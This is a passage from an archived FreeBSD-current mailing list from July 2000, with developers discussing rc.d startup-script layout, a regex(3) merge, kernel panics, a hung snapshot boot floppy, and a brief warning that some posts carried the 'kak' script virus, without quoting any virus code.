(racine.cybercable.fr [212.198.0.201]) by hub.freebsd.org (Postfix) with SMTP id 45EA537B913 for ; Sun, 9 Jul 2000 14:38:55 -0700 (PDT) (envelope-from root@gits.dyndns.org) Received: (qmail 8535208 invoked from network); 9 Jul 2000 21:38:52 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by racine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 9 Jul 2000 21:38:52 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id XAA74001; Sun, 9 Jul 2000 23:38:48 +0200 (CEST) (envelope-from root) Posted-Date: Sun, 9 Jul 2000 23:38:48 +0200 (CEST) To: Mike Meyer Cc: freebsd-current@FreeBSD.ORG, cvs-all@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 09 Jul 2000 23:38:47 +0200 In-Reply-To: Mike Meyer's message of "Sat, 8 Jul 2000 19:35:48 -0500 (CDT)" Message-ID: Lines: 48 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Canyonlands" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Meyer writes: > > By all means, use start/stop args, but hard link the .sh files into seperate > > directories or something so that the order can be tweaked.. > > If all you want is to make sure that shutdown happens in the reverse > order of startup, that can be done by reversing the list in > rc.shutdown. But how about going a step further, and starting towards > a user-friendly configuration process? > > Instead of being globbed at init time, etc/rc.d is a repository for > things that take start/stop arguments. They are symlinked to > /etc/init.d with numeric prefixes to control order at initialization > time. Likewise, they can be symlinked to /etc/down.d (or shutdown.d) > with numeric prefixes to control order at shutdown time. > > Note that the directories full of symlinks are in /etc, not in > /usr/X11R6/etc, etc. The rc.d's in those are also treated as > repositories, so you can symlink to files in those asd well. These > should save a bit of time at boot; no need to fool with lists of > directories, etc. - just one directory. > > The real work will be adding a one-line description near the start of > the file: > > # Init: 300. Shutdown: -1. Description: Standard smtp (mail) daemon. > > (indicating that it should be installed as /etc/init.d/300sendmail.sh, > and no shutdown installation is necessary). I guess you would like to says that scripts.sh lives in /etc/init.d while XXXscripts.sh lives in /etc/rc.d and /etc/shutdown.d. if not, you are at the oposite of the SystemV semantic ! and would be a pain for system administrators. why not to simply adopt the SystemV semantic ? not all is bad in System V :) > Later, we can add a tool that globs the etc/rc.d directories for files > with those lines, and provides a nice visual "system process > configuration" tool, allowing you to click on these things to move > them back and forth. Some rules regarding the shutdown/startup > priorites might be needed for ports. Given some prodding, I might even > be talked into taking a crack at the tool (an X tool, maybe) before > there's a commitment to supporting this structure. Cyrille. -- home:mailto:clefevre%no-spam@citeweb.net Supprimer "%no-spam" pour me repondre. work:mailto:Cyrille.Lefevre%no-spam@edf.fr Remove "%no-spam" to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 15: 0:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9F2EE37C11E; Sun, 9 Jul 2000 15:00:38 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id PAA89177; Sun, 9 Jul 2000 15:00:38 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sun, 9 Jul 2000 15:00:38 -0700 (PDT) From: Kris Kennaway To: "Daniel C. Sobral" Cc: current@freebsd.org Subject: Re: regex(3) In-Reply-To: <200007091946.EAA03320@daniel.sobral> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Daniel C. Sobral wrote: > I think all bugs with the performance improvements to regex(3) have all > been solved now. I haven't heard of any problems for over a week about > the first improvement (Boyer-Moore search), and I have now tested the > code against the original test suit for Spencer's library. > > I'd like, thus, to merge the changes. If anyone have objections, please > raise them now. :-) I'd prefer you waited a bit longer. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 16: 0:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 88C0237B684; Sun, 9 Jul 2000 16:00:09 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.15 #1) id 13BPYu-000K9U-00; Sun, 09 Jul 2000 23:28:32 +0100 Received: (from ben) by strontium.scientia.demon.co.uk (Exim 3.15 #1) id 13BPYu-000AR3-00; Sun, 09 Jul 2000 23:28:32 +0100 Date: Sun, 9 Jul 2000 23:28:31 +0100 From: Ben Smithurst To: Jeroen Ruigrok van der Werven Cc: Leif Neland , Josh Paetzel , Robert Small , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Virus alert, was: Re: SCSI Question Message-ID: <20000709232831.G13648@strontium.scientia.demon.co.uk> References: <002401bfe936$a1e7ebe0$06a481d0@inu.net> <00b001b42883$21414b00$33cefea9@josh> <012701bfe9d4$fe322160$0e00a8c0@neland.dk> <20000709221220.A39448@lucifer.bart.nl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="3xoW37o/FfUZJwQG" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000709221220.A39448@lucifer.bart.nl> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --3xoW37o/FfUZJwQG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Jeroen Ruigrok van der Werven wrote: > -On [20000709 21:20], Leif Neland (leifn@neland.dk) wrote: >> These messages are infected with the kak virus. See >> http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm >=20 > Am I the only one to NOT see this? >=20 > Both the original postings look normal in mutt whichever way I use to > look at them. Try "|less". I think it says a lot that you have to make special effort to even _see_ the virus on FreeBSD, when on Windows it probably gets executed by default... --=20 Ben Smithurst / ben@scientia.demon.co.uk / PGP: 0x99392F7D --3xoW37o/FfUZJwQG Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: XIfzOcrQ7odttsqiGjTYKuvHYI98bH5X iQCVAwUBOWj8jysPVtiZOS99AQE5pgP/Ro7QI+u1E1yAqKCBtKLMrkjg4U/9/G0Z oAU4Quv2NQmK58LnKORSsEXebVUy8YyZPlvfAqc/G8z4HqPdTqvYRbnO45y63YfS Dtnhp1v/JFgqf6ek7kKRQWvZmjilws6BIDWgohMTim4MTgC974kZAcSMstBX5lJG baiQ2LeZIEg= =aqKM -----END PGP SIGNATURE----- --3xoW37o/FfUZJwQG-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 16:31:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 9473937B90E for ; Sun, 9 Jul 2000 16:31:32 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id QAA25562; Sun, 9 Jul 2000 16:31:27 -0700 Date: Sun, 9 Jul 2000 16:31:28 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Ollivier Robert Cc: "FreeBSD Current Users' list" Subject: Re: Softupdates panic on SMP system In-Reply-To: <20000709123407.A27797@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I did some thinking about this, but no real code inspection, on a walk today- I think what is occurring is that the list of directory updates is getting refreshed from another process while the first process' list is being written out. A quick hack would be to make sure this doesn't happen (no -j4 for loose and gross and incomplete, some kind of worklist ownership token so that when process A wakes back up and looks at the worklist again it can see whether it still owns that list (after all, it drops the locks so it do the write). This is mostly a Kirk issue- he could say much quicker than I about this- I'd file this as a PR - I could fool around with it a little myself, but later this week. -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 18:22:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from merc94.us.sas.com (merc94.us.sas.com [149.173.6.4]) by hub.freebsd.org (Postfix) with ESMTP id 0363C37C27D for ; Sun, 9 Jul 2000 18:22:10 -0700 (PDT) (envelope-from jwd@unx.sas.com) Received: from merc94.us.sas.com ([127.0.0.1]) by merc94.us.sas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2651.58) id 3PMH6C7J; Sun, 9 Jul 2000 21:22:04 -0400 Received: from 10.28.149.26 by merc94.us.sas.com (InterScan E-Mail VirusWall NT); Sun, 09 Jul 2000 21:22:04 -0400 (Eastern Daylight Time) Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA20120; Sun, 9 Jul 2000 21:22:04 -0400 Received: (from jwd@localhost) by bb01f39.unx.sas.com (8.9.3/8.9.1) id VAA20025 for freebsd-current@freebsd.org; Sun, 9 Jul 2000 21:22:04 -0400 (EDT) (envelope-from jwd) Date: Sun, 9 Jul 2000 21:22:04 -0400 From: John DeBoskey To: freebsd-current@freebsd.org Subject: 5.0-20000706-SNAP boot floppy failure Message-Id: <20000709212204.A19926@unx.sas.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, In case anyone else it seeing this yet, or possibly working on it, the 0706 snap boot floppy boots up into sysinstall and then hangs. Switching to the debug screen yields: DEBUG: ioctl(3, TIOCCONS, NULL) = 0 (success) DEBUG: Can't open PC-card controller /dev/card0. and that's it. I'll try to take a look at this later this evenning, or in the morning. Any comments are appreciated. Thanks! John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 18:35:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from kbtfw.kubota.co.jp (kbtfw.kubota.co.jp [133.253.102.202]) by hub.freebsd.org (Postfix) with ESMTP id 207EC37BB34 for ; Sun, 9 Jul 2000 18:35:36 -0700 (PDT) (envelope-from haro@tk.kubota.co.jp) Received: by kbtfw.kubota.co.jp; id KAA23430; Mon, 10 Jul 2000 10:35:27 +0900 (JST) Received: from unknown(133.253.122.1) by kbtfw.kubota.co.jp via smap (V4.2) id xma023150; Mon, 10 Jul 00 10:34:47 +0900 Received: from jkpc15.tk.kubota.co.jp ([192.168.7.250]) by kbtmx.eto.kubota.co.jp (8.9.3+3.2W/3.7W) with ESMTP id KAA02420; Mon, 10 Jul 2000 10:34:46 +0900 (JST) Received: from localhost (localhost.ttr.kubota.co.jp [127.0.0.1]) by jkpc15.tk.kubota.co.jp (8.9.3/3.7W-02/21/99) with ESMTP id KAA01621; Mon, 10 Jul 2000 10:33:17 +0900 (JST) To: camel@avias.com Cc: freebsd-current@FreeBSD.ORG Subject: Re: vmware2 & new kernel In-Reply-To: References: X-Mailer: Mew version 1.94.1 on Emacs 20.6 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000710103317I.haro@tk.kubota.co.jp> Date: Mon, 10 Jul 2000 10:33:17 +0900 From: haro@tk.kubota.co.jp (Munehiro Matsuda) X-Dispatcher: imput version 990905(IM130) Lines: 23 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: Ilya Naumov Date: Fri, 7 Jul 2000 16:47:39 +0400 (MSD) :: ::i'm experiencing a problem with vmware2 build 570 (installed from ::ports) and latest kernels. vmware runs perfectly with kernel built on ::July, 3, but crashes my box with later kernel versions (July, 6 and ::7). any ideas? Hi, I had same experience. So, I just pkg_delete/reinstall it, and everything went back to normal. I think it had something to do with IPv6(KAME) update. Hope this helps, Haro =------------------------------------------------------------------------------ _ _ Munehiro (haro) Matsuda -|- /_\ |_|_| Business Incubation Dept., Kubota Corp. /|\ |_| |_|_| 1-3 Nihonbashi-Muromachi 3-Chome Chuo-ku Tokyo 103-8310, Japan Tel: +81-3-3245-3318 Fax: +81-3-3245-3315 Email: haro@kubota.co.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 18:49:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by hub.freebsd.org (Postfix) with ESMTP id 8F9E437BB34; Sun, 9 Jul 2000 18:49:19 -0700 (PDT) (envelope-from bloom@acm.org) Received: from acm.org (reyim.ne.mediaone.net [24.218.251.241]) by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id VAA26088; Sun, 9 Jul 2000 21:49:17 -0400 (EDT) Message-ID: <39692B9C.FB45385C@acm.org> Date: Sun, 09 Jul 2000 21:49:16 -0400 From: Jim Bloom X-Mailer: Mozilla 4.73 [en]C-MOENE (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: John DeBoskey Cc: freebsd-current@FreeBSD.ORG Subject: Re: 5.0-20000706-SNAP boot floppy failure References: <20000709212204.A19926@unx.sas.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This may or may not be related... A week ago, I tried to boot using the 0702 snapshot floppies and had problems as well. The error I received was something like "Can't open md1". This was after probing all of the devices, but before the install menu came up. Sorry if I don't have better details, but I was in a hurry to get things working and grabbed the 0602 snapshot which worked fine. I didn't record any of the details at that time. Jim Bloom bloom@acm.org John DeBoskey wrote: > > Hi, > > In case anyone else it seeing this yet, or possibly > working on it, the 0706 snap boot floppy boots up > into sysinstall and then hangs. > > Switching to the debug screen yields: > > DEBUG: ioctl(3, TIOCCONS, NULL) = 0 (success) > DEBUG: Can't open PC-card controller /dev/card0. > > and that's it. > > I'll try to take a look at this later this evenning, or > in the morning. Any comments are appreciated. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 19:13:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 375C737C391 for ; Sun, 9 Jul 2000 19:13:02 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 10803 invoked from network); 10 Jul 2000 02:12:28 -0000 Received: from acs-63-90-93-100.zoominternet.net (63.90.93.100) by ns.cvzoom.net with SMTP; 10 Jul 2000 02:12:28 -0000 Date: Sun, 9 Jul 2000 22:12:27 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-63-90-93-100.zoominternet.net To: current@freebsd.org Subject: Panic with latest pcm commits? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just cvsup'd new sources as of an hour of this posting, and built a kernel. When I try to play an MP3 with mpg123, a kernel panic occurs. Also, rev. 1.27 of src/sys/dev/sound/pcm/channel.c is the latest version of this file that doesn't cause loud popping sounds when I try to play an MP3, i.e., versions 1.28-1.32 cause problems. My sound card is an ESS 1868 ISA. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 19:23:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by hub.freebsd.org (Postfix) with ESMTP id 3FFC337C564; Sun, 9 Jul 2000 19:23:19 -0700 (PDT) (envelope-from marcel@cup.hp.com) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel3.hp.com (Postfix) with ESMTP id 5E81A115A; Sun, 9 Jul 2000 19:23:17 -0700 (PDT) Received: from cup.hp.com (p1000180.nsr.hp.com [15.109.0.180]) by adlmail.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id TAA20155; Sun, 9 Jul 2000 19:23:16 -0700 (PDT) Message-ID: <39693394.C6EF59D1@cup.hp.com> Date: Sun, 09 Jul 2000 19:23:16 -0700 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Ben Smithurst Cc: Jeroen Ruigrok van der Werven , Leif Neland , Josh Paetzel , Robert Small , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Virus alert, was: Re: SCSI Question References: <002401bfe936$a1e7ebe0$06a481d0@inu.net> <00b001b42883$21414b00$33cefea9@josh> <012701bfe9d4$fe322160$0e00a8c0@neland.dk> <20000709221220.A39448@lucifer.bart.nl> <20000709232831.G13648@strontium.scientia.demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ben Smithurst wrote: > > Jeroen Ruigrok van der Werven wrote: > > > -On [20000709 21:20], Leif Neland (leifn@neland.dk) wrote: > >> These messages are infected with the kak virus. See > >> http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm > > > > Am I the only one to NOT see this? > > > > Both the original postings look normal in mutt whichever way I use to > > look at them. > > Try "|less". I think it says a lot that you have to make special effort > to even _see_ the virus on FreeBSD, when on Windows it probably gets > executed by default... Netscape runs it as well. Seeing Netscape start java is a clear sign. It's probably harmless in this case, but I didn't wait to find that out. -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 19:37:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from server.baldwin.cx (server.geekhouse.net [64.81.6.52]) by hub.freebsd.org (Postfix) with ESMTP id 0A7B937BB87; Sun, 9 Jul 2000 19:37:07 -0700 (PDT) (envelope-from john@baldwin.cx) Received: from john.baldwin.cx (root@john.baldwin.cx [192.168.1.18]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id TAA19781; Sun, 9 Jul 2000 19:37:05 -0700 (PDT) (envelope-from john@baldwin.cx) Received: (from john@localhost) by john.baldwin.cx (8.9.3/8.9.3) id TAA01868; Sun, 9 Jul 2000 19:37:51 -0700 (PDT) (envelope-from john) Message-Id: <200007100237.TAA01868@john.baldwin.cx> X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <39692B9C.FB45385C@acm.org> Date: Sun, 09 Jul 2000 19:37:51 -0700 (PDT) From: John Baldwin To: Jim Bloom Subject: Re: 5.0-20000706-SNAP boot floppy failure Cc: freebsd-current@FreeBSD.ORG, John DeBoskey Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10-Jul-00 Jim Bloom wrote: > This may or may not be related... > > A week ago, I tried to boot using the 0702 snapshot floppies and had problems as > well. The error I received was something like "Can't open md1". This was after > probing all of the devices, but before the install menu came up. That is a separate issue that has been kludged around^W^Wfixed. > Sorry if I don't have better details, but I was in a hurry to get things working > and grabbed the 0602 snapshot which worked fine. I didn't record any of the > details at that time. > > Jim Bloom > bloom@acm.org -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 19:37:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from server.baldwin.cx (server.geekhouse.net [64.81.6.52]) by hub.freebsd.org (Postfix) with ESMTP id 5177737B952; Sun, 9 Jul 2000 19:37:06 -0700 (PDT) (envelope-from john@baldwin.cx) Received: from john.baldwin.cx (root@john.baldwin.cx [192.168.1.18]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id TAA19777; Sun, 9 Jul 2000 19:37:05 -0700 (PDT) (envelope-from john@baldwin.cx) Received: (from john@localhost) by john.baldwin.cx (8.9.3/8.9.3) id TAA01865; Sun, 9 Jul 2000 19:37:51 -0700 (PDT) (envelope-from john) Message-Id: <200007100237.TAA01865@john.baldwin.cx> X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20000709212204.A19926@unx.sas.com> Date: Sun, 09 Jul 2000 19:37:50 -0700 (PDT) From: John Baldwin To: John DeBoskey Subject: RE: 5.0-20000706-SNAP boot floppy failure Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10-Jul-00 John DeBoskey wrote: > Hi, > > In case anyone else it seeing this yet, or possibly > working on it, the 0706 snap boot floppy boots up > into sysinstall and then hangs. > > Switching to the debug screen yields: > > DEBUG: ioctl(3, TIOCCONS, NULL) = 0 (success) > DEBUG: Can't open PC-card controller /dev/card0. > > and that's it. Press Esc, then wait a bit. It will jump into the main menu and then to the exit confirm dialog. Hit Esc again to get back to the main menu. Thanks for the report though, I'll try and look at it. One question: do you have a USB controller on your system? > I'll try to take a look at this later this evenning, or > in the morning. Any comments are appreciated. > > Thanks! > John > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 0: 5:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 512C737B76C for ; Mon, 10 Jul 2000 00:05:24 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p13-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.14]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id QAA07399; Mon, 10 Jul 2000 16:05:15 +0900 (JST) Message-ID: <396975CA.840E962A@newsguy.com> Date: Mon, 10 Jul 2000 16:05:46 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Alfred Perlstein Cc: current@FreeBSD.ORG Subject: Re: regex(3) References: <200007091946.EAA03320@daniel.sobral> <20000709131110.R25571@fw.wintelcom.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > > * Daniel C. Sobral [000709 12:46] wrote: > > I think all bugs with the performance improvements to regex(3) have all > > been solved now. I haven't heard of any problems for over a week about > > the first improvement (Boyer-Moore search), and I have now tested the > > code against the original test suit for Spencer's library. > > > > I'd like, thus, to merge the changes. If anyone have objections, please > > raise them now. :-) > > None other than waiting at least 2 weeks, or for 4.1 to come out. The idea was having those improvement on 4.1, of course. So I'll take this as an objection. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 0:18:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 3253737B669; Mon, 10 Jul 2000 00:18:19 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id JAA20049; Mon, 10 Jul 2000 09:18:12 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Jim Bloom Cc: John DeBoskey , freebsd-current@FreeBSD.ORG Subject: Re: 5.0-20000706-SNAP boot floppy failure In-reply-to: Your message of "Sun, 09 Jul 2000 21:49:16 EDT." <39692B9C.FB45385C@acm.org> Date: Mon, 10 Jul 2000 09:18:12 +0200 Message-ID: <20047.963213492@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <39692B9C.FB45385C@acm.org>, Jim Bloom writes: >This may or may not be related... > >A week ago, I tried to boot using the 0702 snapshot floppies and had problems as >well. The error I received was something like "Can't open md1". This was after >probing all of the devices, but before the install menu came up. That has been fixed. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 0:26:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom0-112.telepath.com [216.14.0.112]) by hub.freebsd.org (Postfix) with SMTP id 23CE537BDF4 for ; Mon, 10 Jul 2000 00:26:05 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 30310 invoked by uid 100); 10 Jul 2000 07:25:17 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14697.31325.422020.803101@guru.mired.org> Date: Mon, 10 Jul 2000 02:25:17 -0500 (CDT) To: clefevre@citeweb.net Cc: freebsd-current@FreeBSD.ORG, cvs-all@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: References: <14695.51428.314772.426883@guru.mired.org> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cyrille Lefevre writes: > Mike Meyer writes: > > # Init: 300. Shutdown: -1. Description: Standard smtp (mail) daemon. > > (indicating that it should be installed as /etc/init.d/300sendmail.sh, > > and no shutdown installation is necessary). > I guess you would like to says that scripts.sh lives in /etc/init.d > while XXXscripts.sh lives in /etc/rc.d and /etc/shutdown.d. if not, > you are at the oposite of the SystemV semantic ! and would be a pain > for system administrators. why not to simply adopt the SystemV semantic ? > not all is bad in System V :) Yes, that's correct. And yes, not all is bad in SysV. In particular, having a directory where you can find scripts to stop (and restart) subsystems is very nice. I think the multiple levels (rc?.d) is a bit of overkill. Either the system is up (meaning everything is turned on), or it's down, and the sysadmin who brought it down can start the subsystems s/he needs. Having a single init.d to look in for those things helps in that process. ; Mon, 10 Jul 2000 00:38:08 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id AAA67140 for ; Mon, 10 Jul 2000 00:38:09 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Mon, 10 Jul 2000 00:38:08 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Subject: Re: HEADS UP! Always use the 'make buildkernel' target to make yer kernels (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't particularly want to be drawn into this whole buildfoo bootstrapping thing..any other takers? :-) Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe ---------- Forwarded message ---------- Date: Mon, 10 Jul 2000 09:35:19 +0200 From: Udo Schweigert To: Kris Kennaway Cc: stable@FreeBSD.ORG Subject: Re: HEADS UP! Always use the 'make buildkernel' target to make yer kernels On Sun, Jul 